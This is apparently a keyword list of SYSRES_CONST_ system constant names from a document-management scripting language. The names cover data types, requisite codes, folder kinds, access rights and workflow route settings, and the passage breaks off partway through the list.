SYSRES_CONST_AUTHENTICATING_SIGNATURE_NAME SYSRES_CONST_AUTHENTICATING_SIGNATURE_REQUISITE_CODE SYSRES_CONST_AUTO_ENUM_METHOD_FLAG SYSRES_CONST_AUTO_NUMERATION_CODE SYSRES_CONST_AUTO_STRONG_ENUM_METHOD_FLAG SYSRES_CONST_AUTOTEXT_NAME_REQUISITE_CODE SYSRES_CONST_AUTOTEXT_TEXT_REQUISITE_CODE SYSRES_CONST_AUTOTEXT_USAGE_ALL SYSRES_CONST_AUTOTEXT_USAGE_ALL_CODE SYSRES_CONST_AUTOTEXT_USAGE_SIGN SYSRES_CONST_AUTOTEXT_USAGE_SIGN_CODE SYSRES_CONST_AUTOTEXT_USAGE_WORK SYSRES_CONST_AUTOTEXT_USAGE_WORK_CODE SYSRES_CONST_AUTOTEXT_USE_ANYWHERE_CODE SYSRES_CONST_AUTOTEXT_USE_ON_SIGNING_CODE SYSRES_CONST_AUTOTEXT_USE_ON_WORK_CODE SYSRES_CONST_BEGIN_DATE_REQUISITE_CODE SYSRES_CONST_BLACK_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_BLUE_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_BTN_PART SYSRES_CONST_CALCULATED_ROLE_TYPE_CODE SYSRES_CONST_CALL_TYPE_VARIABLE_BUTTON_VALUE SYSRES_CONST_CALL_TYPE_VARIABLE_PROGRAM_VALUE SYSRES_CONST_CANCEL_MESSAGE_FUNCTION_RESULT SYSRES_CONST_CARD_PART SYSRES_CONST_CARD_REFERENCE_MODE_NAME SYSRES_CONST_CERTIFICATE_TYPE_REQUISITE_ENCRYPT_VALUE SYSRES_CONST_CERTIFICATE_TYPE_REQUISITE_SIGN_AND_ENCRYPT_VALUE SYSRES_CONST_CERTIFICATE_TYPE_REQUISITE_SIGN_VALUE SYSRES_CONST_CHECK_PARAM_VALUE_DATE_PARAM_TYPE SYSRES_CONST_CHECK_PARAM_VALUE_FLOAT_PARAM_TYPE SYSRES_CONST_CHECK_PARAM_VALUE_INTEGER_PARAM_TYPE SYSRES_CONST_CHECK_PARAM_VALUE_PICK_PARAM_TYPE SYSRES_CONST_CHECK_PARAM_VALUE_REEFRENCE_PARAM_TYPE SYSRES_CONST_CLOSED_RECORD_FLAG_VALUE_FEMININE SYSRES_CONST_CLOSED_RECORD_FLAG_VALUE_MASCULINE SYSRES_CONST_CODE_COMPONENT_TYPE_ADMIN SYSRES_CONST_CODE_COMPONENT_TYPE_DEVELOPER SYSRES_CONST_CODE_COMPONENT_TYPE_DOCS SYSRES_CONST_CODE_COMPONENT_TYPE_EDOC_CARDS SYSRES_CONST_CODE_COMPONENT_TYPE_EXTERNAL_EXECUTABLE SYSRES_CONST_CODE_COMPONENT_TYPE_OTHER SYSRES_CONST_CODE_COMPONENT_TYPE_REFERENCE SYSRES_CONST_CODE_COMPONENT_TYPE_REPORT SYSRES_CONST_CODE_COMPONENT_TYPE_SCRIPT SYSRES_CONST_CODE_COMPONENT_TYPE_URL SYSRES_CONST_CODE_REQUISITE_ACCESS SYSRES_CONST_CODE_REQUISITE_CODE SYSRES_CONST_CODE_REQUISITE_COMPONENT SYSRES_CONST_CODE_REQUISITE_DESCRIPTION SYSRES_CONST_CODE_REQUISITE_EXCLUDE_COMPONENT SYSRES_CONST_CODE_REQUISITE_RECORD SYSRES_CONST_COMMENT_REQ_CODE SYSRES_CONST_COMMON_SETTINGS_REQUISITE_CODE SYSRES_CONST_COMP_CODE_GRD SYSRES_CONST_COMPONENT_GROUP_TYPE_REQUISITE_CODE SYSRES_CONST_COMPONENT_TYPE_ADMIN_COMPONENTS SYSRES_CONST_COMPONENT_TYPE_DEVELOPER_COMPONENTS SYSRES_CONST_COMPONENT_TYPE_DOCS SYSRES_CONST_COMPONENT_TYPE_EDOC_CARDS SYSRES_CONST_COMPONENT_TYPE_EDOCS SYSRES_CONST_COMPONENT_TYPE_EXTERNAL_EXECUTABLE SYSRES_CONST_COMPONENT_TYPE_OTHER SYSRES_CONST_COMPONENT_TYPE_REFERENCE_TYPES SYSRES_CONST_COMPONENT_TYPE_REFERENCES SYSRES_CONST_COMPONENT_TYPE_REPORTS SYSRES_CONST_COMPONENT_TYPE_SCRIPTS SYSRES_CONST_COMPONENT_TYPE_URL SYSRES_CONST_COMPONENTS_REMOTE_SERVERS_VIEW_CODE SYSRES_CONST_CONDITION_BLOCK_DESCRIPTION SYSRES_CONST_CONST_FIRM_STATUS_COMMON SYSRES_CONST_CONST_FIRM_STATUS_INDIVIDUAL SYSRES_CONST_CONST_NEGATIVE_VALUE SYSRES_CONST_CONST_POSITIVE_VALUE SYSRES_CONST_CONST_SERVER_STATUS_DONT_REPLICATE SYSRES_CONST_CONST_SERVER_STATUS_REPLICATE SYSRES_CONST_CONTENTS_REQUISITE_CODE SYSRES_CONST_DATA_TYPE_BOOLEAN SYSRES_CONST_DATA_TYPE_DATE SYSRES_CONST_DATA_TYPE_FLOAT SYSRES_CONST_DATA_TYPE_INTEGER SYSRES_CONST_DATA_TYPE_PICK SYSRES_CONST_DATA_TYPE_REFERENCE SYSRES_CONST_DATA_TYPE_STRING SYSRES_CONST_DATA_TYPE_TEXT SYSRES_CONST_DATA_TYPE_VARIANT SYSRES_CONST_DATE_CLOSE_REQ_CODE SYSRES_CONST_DATE_FORMAT_DATE_ONLY_CHAR SYSRES_CONST_DATE_OPEN_REQ_CODE SYSRES_CONST_DATE_REQUISITE SYSRES_CONST_DATE_REQUISITE_CODE SYSRES_CONST_DATE_REQUISITE_NAME SYSRES_CONST_DATE_REQUISITE_TYPE SYSRES_CONST_DATE_TYPE_CHAR SYSRES_CONST_DATETIME_FORMAT_VALUE SYSRES_CONST_DEA_ACCESS_RIGHTS_ACTION_CODE SYSRES_CONST_DESCRIPTION_LOCALIZE_ID_REQUISITE_CODE SYSRES_CONST_DESCRIPTION_REQUISITE_CODE SYSRES_CONST_DET1_PART SYSRES_CONST_DET2_PART SYSRES_CONST_DET3_PART SYSRES_CONST_DET4_PART SYSRES_CONST_DET5_PART SYSRES_CONST_DET6_PART SYSRES_CONST_DETAIL_DATASET_KEY_REQUISITE_CODE SYSRES_CONST_DETAIL_PICK_REQUISITE_CODE SYSRES_CONST_DETAIL_REQ_CODE SYSRES_CONST_DO_NOT_USE_ACCESS_TYPE_CODE SYSRES_CONST_DO_NOT_USE_ACCESS_TYPE_NAME SYSRES_CONST_DO_NOT_USE_ON_VIEW_ACCESS_TYPE_CODE SYSRES_CONST_DO_NOT_USE_ON_VIEW_ACCESS_TYPE_NAME SYSRES_CONST_DOCUMENT_STORAGES_CODE SYSRES_CONST_DOCUMENT_TEMPLATES_TYPE_NAME SYSRES_CONST_DOUBLE_REQUISITE_CODE SYSRES_CONST_EDITOR_CLOSE_FILE_OBSERV_TYPE_CODE SYSRES_CONST_EDITOR_CLOSE_PROCESS_OBSERV_TYPE_CODE SYSRES_CONST_EDITOR_TYPE_REQUISITE_CODE SYSRES_CONST_EDITORS_APPLICATION_NAME_REQUISITE_CODE SYSRES_CONST_EDITORS_CREATE_SEVERAL_PROCESSES_REQUISITE_CODE SYSRES_CONST_EDITORS_EXTENSION_REQUISITE_CODE SYSRES_CONST_EDITORS_OBSERVER_BY_PROCESS_TYPE SYSRES_CONST_EDITORS_REFERENCE_CODE SYSRES_CONST_EDITORS_REPLACE_SPEC_CHARS_REQUISITE_CODE SYSRES_CONST_EDITORS_USE_PLUGINS_REQUISITE_CODE SYSRES_CONST_EDITORS_VIEW_DOCUMENT_OPENED_TO_EDIT_CODE SYSRES_CONST_EDOC_CARD_TYPE_REQUISITE_CODE SYSRES_CONST_EDOC_CARD_TYPES_LINK_REQUISITE_CODE SYSRES_CONST_EDOC_CERTIFICATE_AND_PASSWORD_ENCODE_CODE SYSRES_CONST_EDOC_CERTIFICATE_ENCODE_CODE SYSRES_CONST_EDOC_DATE_REQUISITE_CODE SYSRES_CONST_EDOC_KIND_REFERENCE_CODE SYSRES_CONST_EDOC_KINDS_BY_TEMPLATE_ACTION_CODE SYSRES_CONST_EDOC_MANAGE_ACCESS_CODE SYSRES_CONST_EDOC_NONE_ENCODE_CODE SYSRES_CONST_EDOC_NUMBER_REQUISITE_CODE SYSRES_CONST_EDOC_PASSWORD_ENCODE_CODE SYSRES_CONST_EDOC_READONLY_ACCESS_CODE SYSRES_CONST_EDOC_SHELL_LIFE_TYPE_VIEW_VALUE SYSRES_CONST_EDOC_SIZE_RESTRICTION_PRIORITY_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_CHECK_ACCESS_RIGHTS_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_COMPUTER_NAME_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_DATABASE_NAME_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_EDIT_IN_STORAGE_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_LOCAL_PATH_REQUISITE_CODE SYSRES_CONST_EDOC_STORAGE_SHARED_SOURCE_NAME_REQUISITE_CODE SYSRES_CONST_EDOC_TEMPLATE_REQUISITE_CODE SYSRES_CONST_EDOC_TYPES_REFERENCE_CODE SYSRES_CONST_EDOC_VERSION_ACTIVE_STAGE_CODE SYSRES_CONST_EDOC_VERSION_DESIGN_STAGE_CODE SYSRES_CONST_EDOC_VERSION_OBSOLETE_STAGE_CODE SYSRES_CONST_EDOC_WRITE_ACCES_CODE SYSRES_CONST_EDOCUMENT_CARD_REQUISITES_REFERENCE_CODE_SELECTED_REQUISITE SYSRES_CONST_ENCODE_CERTIFICATE_TYPE_CODE SYSRES_CONST_END_DATE_REQUISITE_CODE SYSRES_CONST_ENUMERATION_TYPE_REQUISITE_CODE SYSRES_CONST_EXECUTE_ACCESS_RIGHTS_TYPE_CODE SYSRES_CONST_EXECUTIVE_FILE_STORAGE_TYPE SYSRES_CONST_EXIST_CONST SYSRES_CONST_EXIST_VALUE SYSRES_CONST_EXPORT_LOCK_TYPE_ASK SYSRES_CONST_EXPORT_LOCK_TYPE_WITH_LOCK SYSRES_CONST_EXPORT_LOCK_TYPE_WITHOUT_LOCK SYSRES_CONST_EXPORT_VERSION_TYPE_ASK SYSRES_CONST_EXPORT_VERSION_TYPE_LAST SYSRES_CONST_EXPORT_VERSION_TYPE_LAST_ACTIVE SYSRES_CONST_EXTENSION_REQUISITE_CODE SYSRES_CONST_FILTER_NAME_REQUISITE_CODE SYSRES_CONST_FILTER_REQUISITE_CODE SYSRES_CONST_FILTER_TYPE_COMMON_CODE SYSRES_CONST_FILTER_TYPE_COMMON_NAME SYSRES_CONST_FILTER_TYPE_USER_CODE SYSRES_CONST_FILTER_TYPE_USER_NAME SYSRES_CONST_FILTER_VALUE_REQUISITE_NAME SYSRES_CONST_FLOAT_NUMBER_FORMAT_CHAR SYSRES_CONST_FLOAT_REQUISITE_TYPE SYSRES_CONST_FOLDER_AUTHOR_VALUE SYSRES_CONST_FOLDER_KIND_ANY_OBJECTS SYSRES_CONST_FOLDER_KIND_COMPONENTS SYSRES_CONST_FOLDER_KIND_EDOCS SYSRES_CONST_FOLDER_KIND_JOBS SYSRES_CONST_FOLDER_KIND_TASKS SYSRES_CONST_FOLDER_TYPE_COMMON SYSRES_CONST_FOLDER_TYPE_COMPONENT SYSRES_CONST_FOLDER_TYPE_FAVORITES SYSRES_CONST_FOLDER_TYPE_INBOX SYSRES_CONST_FOLDER_TYPE_OUTBOX SYSRES_CONST_FOLDER_TYPE_QUICK_LAUNCH SYSRES_CONST_FOLDER_TYPE_SEARCH SYSRES_CONST_FOLDER_TYPE_SHORTCUTS SYSRES_CONST_FOLDER_TYPE_USER SYSRES_CONST_FROM_DICTIONARY_ENUM_METHOD_FLAG SYSRES_CONST_FULL_SUBSTITUTE_TYPE SYSRES_CONST_FULL_SUBSTITUTE_TYPE_CODE SYSRES_CONST_FUNCTION_CANCEL_RESULT SYSRES_CONST_FUNCTION_CATEGORY_SYSTEM SYSRES_CONST_FUNCTION_CATEGORY_USER SYSRES_CONST_FUNCTION_FAILURE_RESULT SYSRES_CONST_FUNCTION_SAVE_RESULT SYSRES_CONST_GENERATED_REQUISITE SYSRES_CONST_GREEN_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_GROUP_ACCOUNT_TYPE_VALUE_CODE SYSRES_CONST_GROUP_CATEGORY_NORMAL_CODE SYSRES_CONST_GROUP_CATEGORY_NORMAL_NAME SYSRES_CONST_GROUP_CATEGORY_SERVICE_CODE SYSRES_CONST_GROUP_CATEGORY_SERVICE_NAME SYSRES_CONST_GROUP_COMMON_CATEGORY_FIELD_VALUE SYSRES_CONST_GROUP_FULL_NAME_REQUISITE_CODE SYSRES_CONST_GROUP_NAME_REQUISITE_CODE SYSRES_CONST_GROUP_RIGHTS_T_REQUISITE_CODE SYSRES_CONST_GROUP_SERVER_CODES_REQUISITE_CODE SYSRES_CONST_GROUP_SERVER_NAME_REQUISITE_CODE SYSRES_CONST_GROUP_SERVICE_CATEGORY_FIELD_VALUE SYSRES_CONST_GROUP_USER_REQUISITE_CODE SYSRES_CONST_GROUPS_REFERENCE_CODE SYSRES_CONST_GROUPS_REQUISITE_CODE SYSRES_CONST_HIDDEN_MODE_NAME SYSRES_CONST_HIGH_LVL_REQUISITE_CODE SYSRES_CONST_HISTORY_ACTION_CREATE_CODE SYSRES_CONST_HISTORY_ACTION_DELETE_CODE SYSRES_CONST_HISTORY_ACTION_EDIT_CODE SYSRES_CONST_HOUR_CHAR SYSRES_CONST_ID_REQUISITE_CODE SYSRES_CONST_IDSPS_REQUISITE_CODE SYSRES_CONST_IMAGE_MODE_COLOR SYSRES_CONST_IMAGE_MODE_GREYSCALE SYSRES_CONST_IMAGE_MODE_MONOCHROME SYSRES_CONST_IMPORTANCE_HIGH SYSRES_CONST_IMPORTANCE_LOW SYSRES_CONST_IMPORTANCE_NORMAL SYSRES_CONST_IN_DESIGN_VERSION_STATE_PICK_VALUE SYSRES_CONST_INCOMING_WORK_RULE_TYPE_CODE SYSRES_CONST_INT_REQUISITE SYSRES_CONST_INT_REQUISITE_TYPE SYSRES_CONST_INTEGER_NUMBER_FORMAT_CHAR SYSRES_CONST_INTEGER_TYPE_CHAR SYSRES_CONST_IS_GENERATED_REQUISITE_NEGATIVE_VALUE SYSRES_CONST_IS_PUBLIC_ROLE_REQUISITE_CODE SYSRES_CONST_IS_REMOTE_USER_NEGATIVE_VALUE SYSRES_CONST_IS_REMOTE_USER_POSITIVE_VALUE SYSRES_CONST_IS_STORED_REQUISITE_NEGATIVE_VALUE SYSRES_CONST_IS_STORED_REQUISITE_STORED_VALUE SYSRES_CONST_ITALIC_LIFE_CYCLE_STAGE_DRAW_STYLE SYSRES_CONST_JOB_BLOCK_DESCRIPTION SYSRES_CONST_JOB_KIND_CONTROL_JOB SYSRES_CONST_JOB_KIND_JOB SYSRES_CONST_JOB_KIND_NOTICE SYSRES_CONST_JOB_STATE_ABORTED SYSRES_CONST_JOB_STATE_COMPLETE SYSRES_CONST_JOB_STATE_WORKING SYSRES_CONST_KIND_REQUISITE_CODE SYSRES_CONST_KIND_REQUISITE_NAME SYSRES_CONST_KINDS_CREATE_SHADOW_COPIES_REQUISITE_CODE SYSRES_CONST_KINDS_DEFAULT_EDOC_LIFE_STAGE_REQUISITE_CODE SYSRES_CONST_KINDS_EDOC_ALL_TEPLATES_ALLOWED_REQUISITE_CODE SYSRES_CONST_KINDS_EDOC_ALLOW_LIFE_CYCLE_STAGE_CHANGING_REQUISITE_CODE SYSRES_CONST_KINDS_EDOC_ALLOW_MULTIPLE_ACTIVE_VERSIONS_REQUISITE_CODE SYSRES_CONST_KINDS_EDOC_SHARE_ACCES_RIGHTS_BY_DEFAULT_CODE SYSRES_CONST_KINDS_EDOC_TEMPLATE_REQUISITE_CODE SYSRES_CONST_KINDS_EDOC_TYPE_REQUISITE_CODE SYSRES_CONST_KINDS_SIGNERS_REQUISITES_CODE SYSRES_CONST_KOD_INPUT_TYPE SYSRES_CONST_LAST_UPDATE_DATE_REQUISITE_CODE SYSRES_CONST_LIFE_CYCLE_START_STAGE_REQUISITE_CODE SYSRES_CONST_LILAC_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_LINK_OBJECT_KIND_COMPONENT SYSRES_CONST_LINK_OBJECT_KIND_DOCUMENT SYSRES_CONST_LINK_OBJECT_KIND_EDOC SYSRES_CONST_LINK_OBJECT_KIND_FOLDER SYSRES_CONST_LINK_OBJECT_KIND_JOB SYSRES_CONST_LINK_OBJECT_KIND_REFERENCE SYSRES_CONST_LINK_OBJECT_KIND_TASK SYSRES_CONST_LINK_REF_TYPE_REQUISITE_CODE SYSRES_CONST_LIST_REFERENCE_MODE_NAME SYSRES_CONST_LOCALIZATION_DICTIONARY_MAIN_VIEW_CODE SYSRES_CONST_MAIN_VIEW_CODE SYSRES_CONST_MANUAL_ENUM_METHOD_FLAG SYSRES_CONST_MASTER_COMP_TYPE_REQUISITE_CODE SYSRES_CONST_MASTER_TABLE_REC_ID_REQUISITE_CODE SYSRES_CONST_MAXIMIZED_MODE_NAME SYSRES_CONST_ME_VALUE SYSRES_CONST_MESSAGE_ATTENTION_CAPTION SYSRES_CONST_MESSAGE_CONFIRMATION_CAPTION SYSRES_CONST_MESSAGE_ERROR_CAPTION SYSRES_CONST_MESSAGE_INFORMATION_CAPTION SYSRES_CONST_MINIMIZED_MODE_NAME SYSRES_CONST_MINUTE_CHAR SYSRES_CONST_MODULE_REQUISITE_CODE SYSRES_CONST_MONITORING_BLOCK_DESCRIPTION SYSRES_CONST_MONTH_FORMAT_VALUE SYSRES_CONST_NAME_LOCALIZE_ID_REQUISITE_CODE SYSRES_CONST_NAME_REQUISITE_CODE SYSRES_CONST_NAME_SINGULAR_REQUISITE_CODE SYSRES_CONST_NAMEAN_INPUT_TYPE SYSRES_CONST_NEGATIVE_PICK_VALUE SYSRES_CONST_NEGATIVE_VALUE SYSRES_CONST_NO SYSRES_CONST_NO_PICK_VALUE SYSRES_CONST_NO_SIGNATURE_REQUISITE_CODE SYSRES_CONST_NO_VALUE SYSRES_CONST_NONE_ACCESS_RIGHTS_TYPE_CODE SYSRES_CONST_NONOPERATING_RECORD_FLAG_VALUE SYSRES_CONST_NONOPERATING_RECORD_FLAG_VALUE_MASCULINE SYSRES_CONST_NORMAL_ACCESS_RIGHTS_TYPE_CODE SYSRES_CONST_NORMAL_LIFE_CYCLE_STAGE_DRAW_STYLE SYSRES_CONST_NORMAL_MODE_NAME SYSRES_CONST_NOT_ALLOWED_ACCESS_TYPE_CODE SYSRES_CONST_NOT_ALLOWED_ACCESS_TYPE_NAME SYSRES_CONST_NOTE_REQUISITE_CODE SYSRES_CONST_NOTICE_BLOCK_DESCRIPTION SYSRES_CONST_NUM_REQUISITE SYSRES_CONST_NUM_STR_REQUISITE_CODE SYSRES_CONST_NUMERATION_AUTO_NOT_STRONG SYSRES_CONST_NUMERATION_AUTO_STRONG SYSRES_CONST_NUMERATION_FROM_DICTONARY SYSRES_CONST_NUMERATION_MANUAL SYSRES_CONST_NUMERIC_TYPE_CHAR SYSRES_CONST_NUMREQ_REQUISITE_CODE SYSRES_CONST_OBSOLETE_VERSION_STATE_PICK_VALUE SYSRES_CONST_OPERATING_RECORD_FLAG_VALUE SYSRES_CONST_OPERATING_RECORD_FLAG_VALUE_CODE SYSRES_CONST_OPERATING_RECORD_FLAG_VALUE_FEMININE SYSRES_CONST_OPERATING_RECORD_FLAG_VALUE_MASCULINE SYSRES_CONST_OPTIONAL_FORM_COMP_REQCODE_PREFIX SYSRES_CONST_ORANGE_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_ORIGINALREF_REQUISITE_CODE SYSRES_CONST_OURFIRM_REF_CODE SYSRES_CONST_OURFIRM_REQUISITE_CODE SYSRES_CONST_OURFIRM_VAR SYSRES_CONST_OUTGOING_WORK_RULE_TYPE_CODE SYSRES_CONST_PICK_NEGATIVE_RESULT SYSRES_CONST_PICK_POSITIVE_RESULT SYSRES_CONST_PICK_REQUISITE SYSRES_CONST_PICK_REQUISITE_TYPE SYSRES_CONST_PICK_TYPE_CHAR SYSRES_CONST_PLAN_STATUS_REQUISITE_CODE SYSRES_CONST_PLATFORM_VERSION_COMMENT SYSRES_CONST_PLUGINS_SETTINGS_DESCRIPTION_REQUISITE_CODE SYSRES_CONST_POSITIVE_PICK_VALUE SYSRES_CONST_POWER_TO_CREATE_ACTION_CODE SYSRES_CONST_POWER_TO_SIGN_ACTION_CODE SYSRES_CONST_PRIORITY_REQUISITE_CODE SYSRES_CONST_QUALIFIED_TASK_TYPE SYSRES_CONST_QUALIFIED_TASK_TYPE_CODE SYSRES_CONST_RECSTAT_REQUISITE_CODE SYSRES_CONST_RED_LIFE_CYCLE_STAGE_FONT_COLOR SYSRES_CONST_REF_ID_T_REF_TYPE_REQUISITE_CODE SYSRES_CONST_REF_REQUISITE SYSRES_CONST_REF_REQUISITE_TYPE SYSRES_CONST_REF_REQUISITES_REFERENCE_CODE_SELECTED_REQUISITE SYSRES_CONST_REFERENCE_RECORD_HISTORY_CREATE_ACTION_CODE SYSRES_CONST_REFERENCE_RECORD_HISTORY_DELETE_ACTION_CODE SYSRES_CONST_REFERENCE_RECORD_HISTORY_MODIFY_ACTION_CODE SYSRES_CONST_REFERENCE_TYPE_CHAR SYSRES_CONST_REFERENCE_TYPE_REQUISITE_NAME SYSRES_CONST_REFERENCES_ADD_PARAMS_REQUISITE_CODE SYSRES_CONST_REFERENCES_DISPLAY_REQUISITE_REQUISITE_CODE SYSRES_CONST_REMOTE_SERVER_STATUS_WORKING SYSRES_CONST_REMOTE_SERVER_TYPE_MAIN SYSRES_CONST_REMOTE_SERVER_TYPE_SECONDARY SYSRES_CONST_REMOTE_USER_FLAG_VALUE_CODE SYSRES_CONST_REPORT_APP_EDITOR_INTERNAL SYSRES_CONST_REPORT_BASE_REPORT_ID_REQUISITE_CODE SYSRES_CONST_REPORT_BASE_REPORT_REQUISITE_CODE SYSRES_CONST_REPORT_SCRIPT_REQUISITE_CODE SYSRES_CONST_REPORT_TEMPLATE_REQUISITE_CODE SYSRES_CONST_REPORT_VIEWER_CODE_REQUISITE_CODE SYSRES_CONST_REQ_ALLOW_COMPONENT_DEFAULT_VALUE SYSRES_CONST_REQ_ALLOW_RECORD_DEFAULT_VALUE SYSRES_CONST_REQ_ALLOW_SERVER_COMPONENT_DEFAULT_VALUE SYSRES_CONST_REQ_MODE_AVAILABLE_CODE SYSRES_CONST_REQ_MODE_EDIT_CODE SYSRES_CONST_REQ_MODE_HIDDEN_CODE SYSRES_CONST_REQ_MODE_NOT_AVAILABLE_CODE SYSRES_CONST_REQ_MODE_VIEW_CODE SYSRES_CONST_REQ_NUMBER_REQUISITE_CODE SYSRES_CONST_REQ_SECTION_VALUE SYSRES_CONST_REQ_TYPE_VALUE SYSRES_CONST_REQUISITE_FORMAT_BY_UNIT SYSRES_CONST_REQUISITE_FORMAT_DATE_FULL SYSRES_CONST_REQUISITE_FORMAT_DATE_TIME SYSRES_CONST_REQUISITE_FORMAT_LEFT SYSRES_CONST_REQUISITE_FORMAT_RIGHT SYSRES_CONST_REQUISITE_FORMAT_WITHOUT_UNIT SYSRES_CONST_REQUISITE_NUMBER_REQUISITE_CODE SYSRES_CONST_REQUISITE_SECTION_ACTIONS SYSRES_CONST_REQUISITE_SECTION_BUTTON SYSRES_CONST_REQUISITE_SECTION_BUTTONS SYSRES_CONST_REQUISITE_SECTION_CARD SYSRES_CONST_REQUISITE_SECTION_TABLE SYSRES_CONST_REQUISITE_SECTION_TABLE10 SYSRES_CONST_REQUISITE_SECTION_TABLE11 SYSRES_CONST_REQUISITE_SECTION_TABLE12 SYSRES_CONST_REQUISITE_SECTION_TABLE13 SYSRES_CONST_REQUISITE_SECTION_TABLE14 SYSRES_CONST_REQUISITE_SECTION_TABLE15 SYSRES_CONST_REQUISITE_SECTION_TABLE16 SYSRES_CONST_REQUISITE_SECTION_TABLE17 SYSRES_CONST_REQUISITE_SECTION_TABLE18 SYSRES_CONST_REQUISITE_SECTION_TABLE19 SYSRES_CONST_REQUISITE_SECTION_TABLE2 SYSRES_CONST_REQUISITE_SECTION_TABLE20 SYSRES_CONST_REQUISITE_SECTION_TABLE21 SYSRES_CONST_REQUISITE_SECTION_TABLE22 SYSRES_CONST_REQUISITE_SECTION_TABLE23 SYSRES_CONST_REQUISITE_SECTION_TABLE24 SYSRES_CONST_REQUISITE_SECTION_TABLE3 SYSRES_CONST_REQUISITE_SECTION_TABLE4 SYSRES_CONST_REQUISITE_SECTION_TABLE5 SYSRES_CONST_REQUISITE_SECTION_TABLE6 SYSRES_CONST_REQUISITE_SECTION_TABLE7 SYSRES_CONST_REQUISITE_SECTION_TABLE8 SYSRES_CONST_REQUISITE_SECTION_TABLE9 SYSRES_CONST_REQUISITES_PSEUDOREFERENCE_REQUISITE_NUMBER_REQUISITE_CODE SYSRES_CONST_RIGHT_ALIGNMENT_CODE SYSRES_CONST_ROLES_REFERENCE_CODE SYSRES_CONST_ROUTE_STEP_AFTER_RUS SYSRES_CONST_ROUTE_STEP_AND_CONDITION_RUS SYSRES_CONST_ROUTE_STEP_OR_CONDITION_RUS SYSRES_CONST_ROUTE_TYPE_COMPLEX SYSRES_CONST_ROUTE_TYPE_PARALLEL SYSRES_CONST_ROUTE_TYPE_SERIAL SYSRES_CONST_SBDATASETDESC_NEGATIVE_VALUE SYSRES_CONST_SBDATASETDESC_POSITIVE_VALUE SYSRES_CONST_SBVIEWSDESC_POSITIVE_VALUE SYSRES_CONST_SCRIPT_BLOCK_DESCRIPTION SYSRES_CONST_SEARCH_BY_TEXT_REQUISITE_CODE SYSRES_CONST_SEARCHES_COMPONENT_CONTENT SYSRES_CONST_SEARCHES_CRITERIA_ACTION_NAME SYSRES_CONST_SEARCHES_EDOC_CONTENT SYSRES_CONST_SEARCHES_FOLDER_CONTENT SYSRES_CONST_SEARCHES_JOB_CONTENT SYSRES_CONST_SEARCHES_REFERENCE_CODE SYSRES_CONST_SEARCHES_TASK_CONTENT SYSRES_CONST_SECOND_CHAR SYSRES_CONST_SECTION_REQUISITE_ACTIONS_VALUE SYSRES_CONST_SECTION_REQUISITE_CARD_VALUE SYSRES_CONST_SECTION_REQUISITE_CODE SYSRES_CONST_SECTION_REQUISITE_DETAIL_1_VALUE SYSRES_CONST_SECTION_REQUISITE_DETAIL_2_VALUE SYSRES_CONST_SECTION_REQUISITE_DETAIL_3_VALUE SYSRES_CONST_SECTION_REQUISITE_DETAIL_4_VALUE SYSRES_CONST_SECTION_REQUISITE_DETAIL_5_VALUE SYSRES_CONST_SECTION_REQUISITE_DETAIL_6_VALUE SYSRES_CONST_SELECT_REFERENCE_MODE_NAME SYSRES_CONST_SELECT_TYPE_SELECTABLE SYSRES_CONST_SELECT_TYPE_SELECTABLE_ONLY_CHILD SYSRES_CONST_SELECT_TYPE_SELECTABLE_WITH_CHILD SYSRES_CONST_SELECT_TYPE_UNSLECTABLE SYSRES_CONST_SERVER_TYPE_MAIN SYSRES_CONST_SERVICE_USER_CATEGORY_FIELD_VALUE SYSRES_CONST_SETTINGS_USER_REQUISITE_CODE SYSRES_CONST_SIGNATURE_AND_ENCODE_CERTIFICATE_TYPE_CODE SYSRES_CONST_SIGNATURE_CERTIFICATE_TYPE_CODE SYSRES_CONST_SINGULAR_TITLE_REQUISITE_CODE SYSRES_CONST_SQL_SERVER_AUTHENTIFICATION_FLAG_VALUE_CODE SYSRES_CONST_SQL_SERVER_ENCODE_AUTHENTIFICATION_FLAG_VALUE_CODE SYSRES_CONST_STANDART_ROUTE_REFERENCE_CODE SYSRES_CONST_STANDART_ROUTE_REFERENCE_COMMENT_REQUISITE_CODE SYSRES_CONST_STANDART_ROUTES_GROUPS_REFERENCE_CODE SYSRES_CONST_STATE_REQ_NAME SYSRES_CONST_STATE_REQUISITE_ACTIVE_VALUE SYSRES_CONST_STATE_REQUISITE_CLOSED_VALUE SYSRES_CONST_STATE_REQUISITE_CODE SYSRES_CONST_STATIC_ROLE_TYPE_CODE SYSRES_CONST_STATUS_PLAN_DEFAULT_VALUE SYSRES_CONST_STATUS_VALUE_AUTOCLEANING SYSRES_CONST_STATUS_VALUE_BLUE_SQUARE SYSRES_CONST_STATUS_VALUE_COMPLETE SYSRES_CONST_STATUS_VALUE_GREEN_SQUARE SYSRES_CONST_STATUS_VALUE_ORANGE_SQUARE SYSRES_CONST_STATUS_VALUE_PURPLE_SQUARE SYSRES_CONST_STATUS_VALUE_RED_SQUARE SYSRES_CONST_STATUS_VALUE_SUSPEND SYSRES_CONST_STATUS_VALUE_YELLOW_SQUARE SYSRES_CONST_STDROUTE_SHOW_TO_USERS_REQUISITE_CODE SYSRES_CONST_STORAGE_TYPE_FILE SYSRES_CONST_STORAGE_TYPE_SQL_SERVER SYSRES_CONST_STR_REQUISITE SYSRES_CONST_STRIKEOUT_LIFE_CYCLE_STAGE_DRAW_STYLE SYSRES_CONST_STRING_FORMAT_LEFT_ALIGN_CHAR SYSRES_CONST_STRING_FORMAT_RIGHT_ALIGN_CHAR SYSRES_CONST_STRING_REQUISITE_CODE SYSRES_CONST_STRING_REQUISITE_TYPE SYSRES_CONST_STRING_TYPE_CHAR SYSRES_CONST_SUBSTITUTES_PSEUDOREFERENCE_CODE SYSRES_CONST_SUBTASK_BLOCK_DESCRIPTION SYSRES_CONST_SYSTEM_SETTING_CURRENT_USER_PARAM_VALUE SYSRES_CONST_SYSTEM_SETTING_EMPTY_VALUE_PARAM_VALUE SYSRES_CONST_SYSTEM_VERSION_COMMENT SYSRES_CONST_TASK_ACCESS_TYPE_ALL 